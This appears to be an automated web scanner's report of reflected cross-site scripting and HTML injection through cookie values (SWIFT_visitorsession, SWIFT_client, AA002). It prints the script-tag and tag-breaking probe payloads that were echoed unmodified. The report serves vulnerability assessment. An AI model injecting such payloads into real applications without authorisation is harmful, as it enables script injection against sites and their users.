This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_visitorsession cookie is copied into the HTML document as plain text between tags. The payload 90ca2<script>alert(1)</script>219f5bc8d65 was submitted in the SWIFT_visitorsession cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload d4189<script>alert(1)</script>85fc475e068 was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the SWIFT_visitorsession cookie is copied into the HTML document as plain text between tags. The payload 38275<script>alert(1)</script>7dce98245de was submitted in the SWIFT_visitorsession cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the AA002 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8ecc"><a>37285dc5200 was submitted in the AA002 cookie. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.